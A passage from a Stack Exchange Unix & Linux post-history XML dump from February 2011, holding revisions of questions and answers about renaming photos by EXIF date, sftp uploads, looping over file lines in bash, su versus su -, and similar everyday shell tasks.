once.&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16154" PostHistoryTypeId="1" PostId="6998" RevisionGUID="58471894-3bf0-488d-a66b-e046a34799d2" CreationDate="2011-02-06T22:02:11.700" UserId="2309" Text="How can I rename photos, given the EXIF data?" />
  <row Id="16155" PostHistoryTypeId="3" PostId="6998" RevisionGUID="58471894-3bf0-488d-a66b-e046a34799d2" CreationDate="2011-02-06T22:02:11.700" UserId="2309" Text="ébashàépythonàérenameà" />
  <row Id="16156" PostHistoryTypeId="2" PostId="6999" RevisionGUID="bfea1921-79ad-4c6f-a243-e79419d2dc7c" CreationDate="2011-02-06T22:14:54.227" UserId="1131" Text="You can to it for all files using a for loop (in the shell/in a shell-script):&#xD;&#xA;&#xD;&#xA;    for i in *.JPG; do&#xD;&#xA;      j=`jhead &quot;$i&quot; | grep data`.jpg&#xD;&#xA;      mv -i &quot;$i&quot; &quot;$j&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This is just a very basic outline." />
  <row Id="16157" PostHistoryTypeId="5" PostId="6963" RevisionGUID="24971b24-ece3-4be9-a925-a5e85ad09b95" CreationDate="2011-02-06T22:25:56.253" UserId="3169" Comment="&quot;locale -a&quot; -&gt; &quot;locale&quot; (former lists available, latter prints current locale settings)" Text="The `rm -i ?` answer is fine.&#xD;&#xA;&#xD;&#xA;This would also work:&#xD;&#xA;&#xD;&#xA;    rm [^a-z]&#xD;&#xA;&#xD;&#xA;as would&#xD;&#xA;&#xD;&#xA;    rm [[:punct:]]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And as to why it's going back to the start of the line, how are you typing the `˚`?  Perhaps the input is being interpreted as `Ctrl+A` or some other shortcut that is used by the shell to go to the start of the line.&#xD;&#xA;&#xD;&#xA;Is there a setting to set the encoding or character set to `utf-8` in the terminal app?  What does it print if you run `locale` inside the terminal session?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And how did you create the file?  Maybe you can use a similar method to delete it?" />
  <row Id="16158" PostHistoryTypeId="4" PostId="6996" RevisionGUID="fd014eb7-4a3e-4047-87cf-d5ab83845f39" CreationDate="2011-02-06T22:28:58.307" UserId="544" Comment="tagging - more suitable for this site" Text="Differentiating between Hard and Soft Dependencies" />
  <row Id="16159" PostHistoryTypeId="6" PostId="6996" RevisionGUID="fd014eb7-4a3e-4047-87cf-d5ab83845f39" CreationDate="2011-02-06T22:28:58.307" UserId="544" Comment="tagging - more suitable for this site" Text="fedorayumpackage-management" />
  <row Id="16160" PostHistoryTypeId="24" PostId="6996" RevisionGUID="68f3865e-a96a-44f3-8aad-b988d8f44915" CreationDate="2011-02-06T22:28:58.307" Comment="Proposed by 544 approved by 73 edit id of 14" />
  <row Id="16161" PostHistoryTypeId="5" PostId="6974" RevisionGUID="8afa0eb4-2ede-4b62-a1f8-ce2e31396b47" CreationDate="2011-02-06T22:41:03.873" UserId="3169" Comment="use Ubuntu man page link instead" Text="**reasons to say minus**&#xD;&#xA;&#xD;&#xA;[The character you are typing][6] is known as [hyphen-minus][1], so either &quot;hyphen&quot; (`-`) or &quot;minus&quot; (`-`) are more correct than [dash][2] (`—`).&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), which could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**reasons to say dash**&#xD;&#xA;&#xD;&#xA;When you write `-` in a man page, it turns into a dash; [you have to write `\-` to get a minus][3].  &#xD;&#xA;`man` uses the `roff`/`troff` system, which was written by [Brian Kernighan][4].  QED.   &#xD;&#xA;&#xD;&#xA;One syllable versus two.  [Laziness wins][5].&#xD;&#xA;&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/lucid/man7/groff_char.7.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;  [5]: http://oreilly.com/catalog/opensources/book/larry.html&#xD;&#xA;  [6]: http://www.cs.sfu.ca/~ggbaker/reference/characters/#char002D" />
  <row Id="16162" PostHistoryTypeId="2" PostId="7000" RevisionGUID="63235b0f-8605-4f3e-a61b-1cc6ed59f64a" CreationDate="2011-02-06T22:42:06.217" UserId="4520" Text="To test vhosts, you might set the Apache server as the proxy in Firefox.  The name you entered will be forwarded to Apache.  This will break browsing other sites so set the proxy back when you are done." />
  <row Id="16163" PostHistoryTypeId="5" PostId="6999" RevisionGUID="bd1d7c71-c8e3-499a-a8d7-782a9ebbbe13" CreationDate="2011-02-06T22:42:42.240" UserId="1131" Comment="re comment" Text="You can to it for all files using a for loop (in the shell/in a shell-script):&#xD;&#xA;&#xD;&#xA;    for i in *.JPG; do&#xD;&#xA;      j=`jhead &quot;$i&quot; | grep data | sed 's/^File date[^:]\+: \(.\+\)$/\1/`.jpg&#xD;&#xA;      echo mv -i &quot;$i&quot; &quot;$j&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This is just a very basic outline. Delete `echo` when you have verified that everything works as expected." />
  <row Id="16164" PostHistoryTypeId="5" PostId="6999" RevisionGUID="5fb5b728-29eb-4b33-b87f-0f2a61f0b073" CreationDate="2011-02-06T22:49:34.383" UserId="1131" Comment="typo" Text="You can to it for all files using a for loop (in the shell/in a shell-script):&#xD;&#xA;&#xD;&#xA;    for i in *.JPG; do&#xD;&#xA;      j=`jhead &quot;$i&quot; | grep date | sed 's/^File date[^:]\+: \(.\+\)$/\1/`.jpg&#xD;&#xA;      echo mv -i &quot;$i&quot; &quot;$j&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This is just a very basic outline. Delete `echo` when you have verified that everything works as expected." />
  <row Id="16165" PostHistoryTypeId="2" PostId="7001" RevisionGUID="867e2850-828e-4ca7-a7a6-0d710672ddcf" CreationDate="2011-02-06T23:12:59.503" UserId="4520" Text="Disk alignment used to be rather trivail to figure out.  All the tracks had the same number of sectors of the same size.  Modern high density drives use variable numbers of sectors per track maintaining roughly the same bit density on the platter.  They still report the old sizing information of cylinders, tracks, and sectors.  Actual sector geometry varies depending on where on the disk it is being written.  &#xD;&#xA;&#xD;&#xA;Actual addressing is usually done in LBA (Logical Block Addressing) format. And really doesn't care about the disk geometry.  Split I/Os are likely to be done by the disks control software.  You may get split I/Os where you don't expect them, and not where you expect them.&#xD;&#xA;&#xD;&#xA;Put those disks in a SAN and share them out, and the geometry gets hidden behind another layer of geometry.  At that point I wouldn't even try to hazard a guess at which I/Os were split when.  I would be more interested in the SANs view which will likely stripe the data in some size which is a power of 2, likely somewhere between 4Kb and 4Mb.  I/O on these boundaries will be split across disks.  You SAN administrator should be able to tell you the SAN allocation size.  It the allocation size is small it might be an advantage to align your partitions and block sizes with that of the SAN. &#xD;&#xA;&#xD;&#xA;I generally look at sar output to see if Disk I/O is getting to be a problem.  You will see average queue size and service times increasing when you have an I/O problem.  At that point you need to start looking at why I/O is a problem.  With a SAN it could occur at a number of places.  There are a variety of solutions.  For virtual machines, I would lean separate SAN disks for each machine.  These can be allocated as raw disks to the virtual machines rather than one of the virtual disk in a file formats like VMDK. &#xD;&#xA;" />
  <row Id="16166" PostHistoryTypeId="25" PostId="6998" RevisionGUID="e64ad4b9-591e-4a8c-a30c-3692b9bbf354" CreationDate="2011-02-06T23:16:29.543" Comment="http://twitter.com/#!/StackUnix/status/34389999751274496" />
  <row Id="16167" PostHistoryTypeId="5" PostId="6940" RevisionGUID="35b1e52d-45be-4e66-b395-10732eaf1f8e" CreationDate="2011-02-06T23:50:00.607" UserId="2573" Comment="Added the contradiction.; edited body" Text="**The Sad Story**&#xD;&#xA;&#xD;&#xA;    [root@localhost root]# gcc homework.c -o homework.c&#xD;&#xA;    [root@localhost root]#&#xD;&#xA;    [root@localhost root]# ls&#xD;&#xA;    homework.c&#xD;&#xA;    [root@localhost root]# &#xD;&#xA;&#xD;&#xA;**The Contradiction**  &#xD;&#xA;&gt; *less &gt; more*&#xD;&#xA;&gt; &#xD;&#xA;&gt; The name came from the joke of doing&#xD;&#xA;&gt; &quot;backwards more.&quot; To help remember the&#xD;&#xA;&gt; difference between less and more, a&#xD;&#xA;&gt; common joke is to say, &quot;less &gt; more,&quot;&#xD;&#xA;&gt; implying that less has greater&#xD;&#xA;&gt; functionality than more. - from wikipedia" />
  <row Id="16168" PostHistoryTypeId="2" PostId="7002" RevisionGUID="21f6117b-3528-422a-a57a-263dc541c639" CreationDate="2011-02-07T00:00:04.070" UserId="305" Text="Unless something changed recently GParted is de facto standard tool. The only viable alternative are partially CLI partially GUI tools like cfdisk.&#xD;&#xA;&#xD;&#xA;PS. Have you tried to refresh? Have you reported the bug?" />
  <row Id="16169" PostHistoryTypeId="5" PostId="6362" RevisionGUID="53e9a09d-7780-4003-95f8-636e3fe68c30" CreationDate="2011-02-07T01:54:38.680" UserId="4159" Comment="added 58 characters in body; edited title" Text="After installing debian 6.0 rc1, I can't do anything as administrator because, I cannot login as root (but i did setup the password during installation) and user is not a sudoer either.&#xD;&#xA;&#xD;&#xA;Did I missed anything?&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;I used Live CD to boot and edit the sudoer file." />
  <row Id="16170" PostHistoryTypeId="4" PostId="6362" RevisionGUID="53e9a09d-7780-4003-95f8-636e3fe68c30" CreationDate="2011-02-07T01:54:38.680" UserId="4159" Comment="added 58 characters in body; edited title" Text="[SOLVED] Debian 6.0 RC1: Cannot login as root and user is not a sudoer" />
  <row Id="16171" PostHistoryTypeId="25" PostId="6990" RevisionGUID="9a2c7bca-09ca-4f62-a8f7-325e302b483a" CreationDate="2011-02-07T02:16:29.907" Comment="http://twitter.com/#!/StackUnix/status/34435299358539777" />
  <row Id="16172" PostHistoryTypeId="2" PostId="7003" RevisionGUID="82ad5e96-fe3e-419d-8f5f-bca31591e170" CreationDate="2011-02-07T02:58:56.653" UserId="250" Text="You can download fonts (i.e TTF files) then put them in `~/.fonts` (for personal use) or `/usr/share/fonts` (for everyone). After that X should pick up the font list and make it available to all applications (you may have to log out and log back in first)." />
  <row Id="16173" PostHistoryTypeId="2" PostId="7004" RevisionGUID="5c6a8048-2911-40fd-8dd7-5b2d7d367c93" CreationDate="2011-02-07T03:04:23.967" UserId="3229" Text="I'm having some trouble uploading directories(which contain other directories a few levels deep) by sftp. I realize I could work around this by gzipping, but I don't see why that's necessary.&#xD;&#xA;&#xD;&#xA;Anyway, I try&#xD;&#xA;&#xD;&#xA;    sftp&gt; put bin/&#xD;&#xA;    Uploading bin/ to /home/earlz/blah/bin&#xD;&#xA;    bin/ is not a regular file&#xD;&#xA;    sftp&gt; put -r bin/&#xD;&#xA;    Uploading bin/ to /home/earlz/blah/bin&#xD;&#xA;    Couldn't canonicalise: No such file or directory&#xD;&#xA;    Unable to canonicalise path &quot;/home/earlz/blah/bin&quot;&#xD;&#xA;&#xD;&#xA;I think the last error message is completely stupid. So the directory doesn't exist? Why not create the directory? &#xD;&#xA;&#xD;&#xA;Is there anyway around this issue with sftp, or should I just use scp? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16174" PostHistoryTypeId="1" PostId="7004" RevisionGUID="5c6a8048-2911-40fd-8dd7-5b2d7d367c93" CreationDate="2011-02-07T03:04:23.967" UserId="3229" Text="Uploading directories with sftp?" />
  <row Id="16175" PostHistoryTypeId="3" PostId="7004" RevisionGUID="5c6a8048-2911-40fd-8dd7-5b2d7d367c93" CreationDate="2011-02-07T03:04:23.967" UserId="3229" Text="élinuxàésshàésftpà" />
  <row Id="16176" PostHistoryTypeId="2" PostId="7005" RevisionGUID="ba2c0c27-7611-46e6-aa2f-cb728efb7fb0" CreationDate="2011-02-07T04:00:49.007" UserId="4485" Text="May I suggest a somewhat complicated answer, without zipping, but including tar? &#xD;&#xA;&#xD;&#xA;Here we go:&#xD;&#xA;&#xD;&#xA;    tar -cf - ./bin | ssh target.org &quot; ( cd /home/earlz/blah ; tar -xf - ) &quot;&#xD;&#xA;&#xD;&#xA;This will pack the directory ./bin with tar (-cf:=create file), filename - (none, stdout) and pipe it through the ssh-command to target.org (which might as well be an IP) where the command in quotes is performed, which is: &#xD;&#xA;cd to blah, and tar -xf (extract file) - none, no name, just stdin.&#xD;&#xA;&#xD;&#xA;It's as if you pack a package at home, bring it to the post, then drive to work, where you expect the package and open it. &#xD;&#xA;&#xD;&#xA;Maybe there is a much more elegant solution which just uses sftp." />
  <row Id="16177" PostHistoryTypeId="5" PostId="6362" RevisionGUID="9ce6332a-8cad-4a9e-8b7e-73d8c2f91b18" CreationDate="2011-02-07T04:01:49.380" UserId="688" Comment="added 30 characters in body; edited title" Text="After installing Debian 6.0 rc1, I can't do anything as administrator because I cannot login as root (but I did setup the password during installation) and user is not a sudoer either.&#xD;&#xA;&#xD;&#xA;Did I miss anything?&#xD;&#xA;&#xD;&#xA;[**update**] I used Live CD to boot and edit the sudoer file, and the problem is fixed." />
  <row Id="16178" PostHistoryTypeId="4" PostId="6362" RevisionGUID="9ce6332a-8cad-4a9e-8b7e-73d8c2f91b18" CreationDate="2011-02-07T04:01:49.380" UserId="688" Comment="added 30 characters in body; edited title" Text="Debian 6.0 RC1: Cannot login as root and user is not a sudoer" />
  <row Id="16179" PostHistoryTypeId="2" PostId="7006" RevisionGUID="8b359616-51f5-45f3-9967-462827213e85" CreationDate="2011-02-07T04:06:31.727" UserId="688" Text="I remember somewhere mentioned that posting **dmidecode** output publicly is risky (security?). Can you shed more light into this?" />
  <row Id="16180" PostHistoryTypeId="1" PostId="7006" RevisionGUID="8b359616-51f5-45f3-9967-462827213e85" CreationDate="2011-02-07T04:06:31.727" UserId="688" Text="What are the cons of posting dmidecode output publicly?" />
  <row Id="16181" PostHistoryTypeId="3" PostId="7006" RevisionGUID="8b359616-51f5-45f3-9967-462827213e85" CreationDate="2011-02-07T04:06:31.727" UserId="688" Text="ésecurityà" />
  <row Id="16182" PostHistoryTypeId="5" PostId="6992" RevisionGUID="3ed7819d-9f3c-412d-a755-0f51617d8210" CreationDate="2011-02-07T04:16:21.067" UserId="1535" Comment="add note about .screenrc" Text="When running vim under GNU screen, I'm finding that combinations of &lt;kbd&gt;CTRL&lt;/kbd&gt; with the arrow and Pg* keys don't work as expected.&#xD;&#xA;&#xD;&#xA;I'm using the Ubuntu 10.10 `vim-gnome` package.&#xD;&#xA;&#xD;&#xA;On a different machine, also running Ubuntu, this did work without problems; unfortunately I don't have that configuration available to me now.&#xD;&#xA;&#xD;&#xA;There is a related question here: http://unix.stackexchange.com/questions/1709/how-to-fix-ctrl-arrows-in-vim&#xD;&#xA;&#xD;&#xA;However, the suggested solution there is to remap vim's keybindings to work with the terminal emulator, in that case PuTTY.  I don't recall doing anything of the sort, and suspect that there is a screen configuration option which will resolve this issue.&#xD;&#xA;&#xD;&#xA;There's also a [thread](http://old.nabble.com/Problem-with-GNU-Screen-when-using-control-%2B-right-left-arrows-td26678971.html) on the gnu-screen mailing list which suggests that running vim via `$ TERM=xterm vim` is an appropriate fix or workaround.  This does work, but I'm a bit concerned that there might be side effects.  It also doesn't sound familiar enough to be the solution I set up on the other machine (if a solution was necessary).&#xD;&#xA;&#xD;&#xA;### UPDATE&#xD;&#xA;&#xD;&#xA;I've learned that there are a couple of other ways to set the terminal which work in running processes:&#xD;&#xA;&#xD;&#xA;-   in a running screen instance, pressing `^A`-`:` and issuing the command `term xterm` will cause *newly opened* screens under that instance to start with their `$TERM` environment variable set to `xterm`; this will in turn propagate to invoked `vim` instances.  These vim instances will display proper behaviour with regard to CTRL-combos; I've not yet discovered any side effects of this strategy.  This command does not affect existing screens.  This command can of course be used in a `~/.screenrc` file, so it's possible that this was the method I used to avoid this issue on my other machine.&#xD;&#xA;&#xD;&#xA;-   in a running vim instance, the command `set term=xterm` will make CTRL-combos work in that vim instance.  This has the side effect of disconnecting the X clipboard (i.e. `@*` and `@+`) for reasons that I do not yet understand.  Interestingly, the clipboard side effect also happens when the command `:set term=screen` is executed in a vim instance started with `$TERM=xterm`." />
  <row Id="16183" PostHistoryTypeId="5" PostId="462" RevisionGUID="0495f6e5-ff61-4c8d-a8e7-1519d6fc2036" CreationDate="2011-02-07T04:29:29.287" UserId="688" Comment="added 1 characters in body; edited title" Text="I wonder how I can create strong passwords on Linux (for both normal and admin users) and if there are specific programs to do that." />
  <row Id="16184" PostHistoryTypeId="4" PostId="462" RevisionGUID="0495f6e5-ff61-4c8d-a8e7-1519d6fc2036" CreationDate="2011-02-07T04:29:29.287" UserId="688" Comment="added 1 characters in body; edited title" Text="How to create strong passwords in Linux?" />
  <row Id="16185" PostHistoryTypeId="2" PostId="7007" RevisionGUID="8403f3a4-4072-4795-8779-8fd2f2efe07f" CreationDate="2011-02-07T04:42:26.717" UserId="4461" Text="dmidecode contain contain private information:&#xD;&#xA;&#xD;&#xA; - Serial Number&#xD;&#xA; - IPMI support&#xD;&#xA;&#xD;&#xA;but this information does not make your system vulnerable." />
  <row Id="16186" PostHistoryTypeId="25" PostId="7004" RevisionGUID="b608a519-059e-4ce9-808a-73d878be6d3d" CreationDate="2011-02-07T05:16:30.000" Comment="http://twitter.com/#!/StackUnix/status/34480598391193600" />
  <row Id="16187" PostHistoryTypeId="5" PostId="7007" RevisionGUID="244fe8d7-3761-4222-a037-cbf9fa110dcb" CreationDate="2011-02-07T05:34:52.387" UserId="4461" Comment="deleted 8 characters in body" Text="dmidecode contain private information:&#xD;&#xA;&#xD;&#xA; - Serial Number&#xD;&#xA; - IPMI support&#xD;&#xA;&#xD;&#xA;but this information does not make your system vulnerable." />
  <row Id="16188" PostHistoryTypeId="2" PostId="7008" RevisionGUID="b880ed09-9baf-43d1-acd1-ef92fc47c0e2" CreationDate="2011-02-07T06:17:01.423" UserId="3629" Text="It looks like there's no option for this with the OpenSSH SFTP client.  You could use the PuTTY `psftp` command line tool instead, as its `put` and `mput` commands accept a `-r` (recursive) flag.  It's in the `putty-tools` package under Debian (and most likely Ubuntu).&#xD;&#xA;&#xD;&#xA;Alternately, Filezilla will do what you want, if you want to use a GUI." />
  <row Id="16190" PostHistoryTypeId="5" PostId="7006" RevisionGUID="0951c86f-c68b-405d-9e49-5b5e93ae2949" CreationDate="2011-02-07T06:42:01.927" UserId="688" Comment="added 7 characters in body; edited tags; added 1 characters in body; edited tags; edited body" Text="I remember somewhere mentioned that posting **dmidecode** output publicly is risky (security/privacy?). Can you shed some light into this?" />
  <row Id="16191" PostHistoryTypeId="6" PostId="7006" RevisionGUID="0951c86f-c68b-405d-9e49-5b5e93ae2949" CreationDate="2011-02-07T06:42:01.927" UserId="688" Comment="added 7 characters in body; edited tags; added 1 characters in body; edited tags; edited body" Text="ésecurityàéprivacyà" />
  <row Id="16192" PostHistoryTypeId="2" PostId="7010" RevisionGUID="79b70a47-122b-471b-948b-efc2af3ef748" CreationDate="2011-02-07T08:03:11.417" UserId="4538" Text="The most likely reason you are seeing packages with &quot;pacman -Qe&quot; that you don't remember installing is that they were part of a &quot;group&quot; (like base-devel, etc) that you installed.&#xD;&#xA;&#xD;&#xA;Side Note: I have personally also been looking for a while to switch a package from &quot;explicit&quot; to &quot;implicit&quot; (and even visa versa) without reinstalling it, it even taking a package I installed explicitly to get another package working and turn it into a dependency of that package (again without reinstalling)." />
  <row Id="16193" PostHistoryTypeId="25" PostId="6979" RevisionGUID="4a821918-ecc0-4b1d-aaf5-7c64a1f1a512" CreationDate="2011-02-07T08:16:29.533" Comment="http://twitter.com/#!/StackUnix/status/34525895104401408" />
  <row Id="16194" PostHistoryTypeId="2" PostId="7011" RevisionGUID="b3d8dfdb-0ad1-4014-8e86-f1487b17a39b" CreationDate="2011-02-07T10:28:45.940" UserId="863" Text="Say I have this file:&#xD;&#xA;&#xD;&#xA;    hello&#xD;&#xA;    world&#xD;&#xA;    hello world&#xD;&#xA;&#xD;&#xA;This program&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    for i in $(cat $1); do&#xD;&#xA;    	echo &quot;tester: $i&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;outputs&#xD;&#xA;&#xD;&#xA;    tester: hello&#xD;&#xA;    tester: world&#xD;&#xA;    tester: hello&#xD;&#xA;    tester: world&#xD;&#xA;&#xD;&#xA;I'd like to have the `for` iterate over each line individually ignoring whitespaces though, i.e. the last two lines should be replaced by&#xD;&#xA;&#xD;&#xA;    tester: hello world&#xD;&#xA;&#xD;&#xA;Using quotes `for i in &quot;$(cat $1)&quot;;` results in `i` being asigned the whole file at once. What should I change?" />
  <row Id="16195" PostHistoryTypeId="1" PostId="7011" RevisionGUID="b3d8dfdb-0ad1-4014-8e86-f1487b17a39b" CreationDate="2011-02-07T10:28:45.940" UserId="863" Text="How to loop over the lines of a file?" />
  <row Id="16196" PostHistoryTypeId="3" PostId="7011" RevisionGUID="b3d8dfdb-0ad1-4014-8e86-f1487b17a39b" CreationDate="2011-02-07T10:28:45.940" UserId="863" Text="ébashàéforà" />
  <row Id="16197" PostHistoryTypeId="2" PostId="7012" RevisionGUID="d1984262-0736-40f7-aab9-920a1450c013" CreationDate="2011-02-07T10:39:20.540" UserId="3069" Text="&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    while read line; do&#xD;&#xA;      echo &quot;tester: $line&quot;&#xD;&#xA;    done &lt; &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;It's not `for`, but it works by `read`ing every line of the file." />
  <row Id="16198" PostHistoryTypeId="2" PostId="7013" RevisionGUID="cd2d6891-1d36-4d71-bf01-0addad204603" CreationDate="2011-02-07T10:42:12.523" UserId="4335" Text="I don't understand why `su -` is preferred over `su` to login as root." />
  <row Id="16199" PostHistoryTypeId="1" PostId="7013" RevisionGUID="cd2d6891-1d36-4d71-bf01-0addad204603" CreationDate="2011-02-07T10:42:12.523" UserId="4335" Text="Why do we use su - and not just su?" />
  <row Id="16200" PostHistoryTypeId="3" PostId="7013" RevisionGUID="cd2d6891-1d36-4d71-bf01-0addad204603" CreationDate="2011-02-07T10:42:12.523" UserId="4335" Text="élinuxàéconventionsà" />
  <row Id="16201" PostHistoryTypeId="2" PostId="7014" RevisionGUID="f040347e-d25a-4e37-afac-5fbeeda7dd50" CreationDate="2011-02-07T10:44:20.273" UserId="4541" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I'm looking to copy files from sub directories that match this pattern&#xD;&#xA;&#xD;&#xA;    vendor/plugin/*/tasks/*.rake&#xD;&#xA;&#xD;&#xA;into a folder&#xD;&#xA;&#xD;&#xA;    lib/tasks&#xD;&#xA;&#xD;&#xA;I'm thinking that this could be done severals ways, but wanted to see if a guru could come up with something slick! Thanks in advance :-)" />
  <row Id="16202" PostHistoryTypeId="1" PostId="7014" RevisionGUID="f040347e-d25a-4e37-afac-5fbeeda7dd50" CreationDate="2011-02-07T10:44:20.273" UserId="4541" Text="How to copy files nested in directories that match a pattern?" />
  <row Id="16203" PostHistoryTypeId="3" PostId="7014" RevisionGUID="f040347e-d25a-4e37-afac-5fbeeda7dd50" CreationDate="2011-02-07T10:44:20.273" UserId="4541" Text="éfilesystemsàédirectoryàéfilesàérsyncàéfileöcopyà" />
  <row Id="16204" PostHistoryTypeId="5" PostId="7012" RevisionGUID="f39aec71-62fe-468a-b06e-625d4a0b42fd" CreationDate="2011-02-07T10:45:27.667" UserId="3069" Comment="added 105 characters in body; deleted 15 characters in body" Text="With `for` and IFS:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;    for i in $(cat &quot;$1&quot;); do&#xD;&#xA;      echo &quot;tester: $i&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Or with `read` (no more `cat`):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    while read line; do&#xD;&#xA;      echo &quot;tester: $line&quot;&#xD;&#xA;    done &lt; &quot;$1&quot;&#xD;&#xA;" />
  <row Id="16205" PostHistoryTypeId="2" PostId="7015" RevisionGUID="f9500e31-fb52-41ec-b58c-e01793c1ca3d" CreationDate="2011-02-07T11:03:32.843" UserId="29" Text="I use a non random, but is varied enough for all attack purposes... master password, and [last pass](http://lastpass.com) to generate other passwords. Here's how I generate the master password.&#xD;&#xA;&#xD;&#xA;    echo -n &quot;some seed&quot; |  openssl dgst -binary -sha1 | base64 | sed -e 's/.\{4\}/&amp; /g'&#xD;&#xA;&#xD;&#xA;and the output&#xD;&#xA;&#xD;&#xA;    H1sI Wpbj JE2P CdVJ A1qb 9B/e u7M= &#xD;&#xA;&#xD;&#xA;now just pick a few of the sections and make a password, rearrange them, leave some out, add a character or 2 to make it as good as random. As long as you can remember your seed you can regenerate this, and recover your password (so long as you don't make too many modifications)" />
  <row Id="16206" PostHistoryTypeId="25" PostId="7011" RevisionGUID="fdfc95cb-cf16-4b5e-9582-d8e945a13867" CreationDate="2011-02-07T11:16:29.823" Comment="http://twitter.com/#!/StackUnix/status/34571194644566016" />
  <row Id="16207" PostHistoryTypeId="2" PostId="7016" RevisionGUID="43cb1fe8-ff3e-4934-9c15-f1b45869cbf2" CreationDate="2011-02-07T11:16:36.487" UserId="3169" Text="Sounds pretty easy:&#xD;&#xA;&#xD;&#xA;    test -d lib/tasks || mkdir lib/tasks&#xD;&#xA;    cp vendor/plugin/*/tasks/*.rake lib/tasks&#xD;&#xA;&#xD;&#xA;or am I missing something?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16208" PostHistoryTypeId="2" PostId="7017" RevisionGUID="f9790711-a090-437b-b3a0-8624855d8757" CreationDate="2011-02-07T11:18:41.053" UserId="3169" Text="`su -` logs you in completely as root, whereas `su` makes it so you are pretending to be root.&#xD;&#xA;&#xD;&#xA;It means you get root's `PATH` and other settings, so if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using `su -`, but if you are both using `su`, there may be differences due to you having different shell configurations." />
  <row Id="16209" PostHistoryTypeId="5" PostId="7016" RevisionGUID="2ac648b6-9c47-4543-a77a-62934dca5cfe" CreationDate="2011-02-07T11:25:16.240" UserId="3169" Comment="added 78 characters in body" Text="Sounds pretty easy:&#xD;&#xA;&#xD;&#xA;    cp vendor/plugin/*/tasks/*.rake lib/tasks&#xD;&#xA;&#xD;&#xA;Or if the first `*` should match a whole subtree, use something like:&#xD;&#xA;&#xD;&#xA;    find vendor/plugin -path &quot;*/tasks/*.rake&quot; -exec cp &quot;{}&quot; lib/tasks +&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16210" PostHistoryTypeId="5" PostId="7017" RevisionGUID="9302b603-2c7e-44e3-9ef7-06d40e4b6e35" CreationDate="2011-02-07T11:25:51.510" UserId="3169" Comment="added 4 characters in body; added 161 characters in body" Text="`su -` logs you in completely as root, whereas `su` makes it so you are pretending to be root.&#xD;&#xA;&#xD;&#xA;The most obvious example of this is that `~` is root's home directory if you use `su -`, but your own home directory if you use `su`.&#xD;&#xA;&#xD;&#xA;Depending on your system, it may also mean differences in prompt or `PATH`.&#xD;&#xA;&#xD;&#xA;So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using `su -`, but if you are both using `su`, there may be differences due to you having different shell configurations." />
  <row Id="16211" PostHistoryTypeId="5" PostId="7017" RevisionGUID="519c7f4b-6dbe-4bbc-88a4-15a9837dce4b" CreationDate="2011-02-07T11:30:55.170" UserId="3169" Comment="added 15 characters in body" Text="`su -` logs you in completely as root, whereas `su` makes it so you are pretending to be root.&#xD;&#xA;&#xD;&#xA;The most obvious example of this is that `~` is root's home directory if you use `su -`, but your own home directory if you use `su`.&#xD;&#xA;&#xD;&#xA;Depending on your system, it may also mean differences in prompt, `PATH`, or history file.&#xD;&#xA;&#xD;&#xA;So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using `su -`, but if you are both using `su`, there may be differences due to you having different shell configurations." />
  <row Id="16212" PostHistoryTypeId="2" PostId="7018" RevisionGUID="16b9c91d-d7ee-49f7-83ba-8b64732d0950" CreationDate="2011-02-07T11:35:24.083" UserId="688" Text="I can't re-install packages that fulfill at least one of the following criteria:&#xD;&#xA;&#xD;&#xA;* Custom-made packages&#xD;&#xA;* Packages created by **alien** package (e.g. `alien --install pkg.rpm`)&#xD;&#xA;* Packages installed from some repository that is no longer available&#xD;&#xA;* Packages installed from some repository, but is no longer available there&#xD;&#xA;* (who knows? maybe there's more)&#xD;&#xA;&#xD;&#xA;How do I list any of these packages?&#xD;&#xA;&#xD;&#xA;[**note**] &quot;*No longer available*&quot; could also mean that the repository is removed from my &quot;**/etc/apt/sources.list**&quot;." />
  <row Id="16213" PostHistoryTypeId="1" PostId="7018" RevisionGUID="16b9c91d-d7ee-49f7-83ba-8b64732d0950" CreationDate="2011-02-07T11:35:24.083" UserId="688" Text="How to search for packages that are no longer available for installation?" />
  <row Id="16214" PostHistoryTypeId="3" PostId="7018" RevisionGUID="16b9c91d-d7ee-49f7-83ba-8b64732d0950" CreationDate="2011-02-07T11:35:24.083" UserId="688" Text="édebianàépackageömanagementà" />
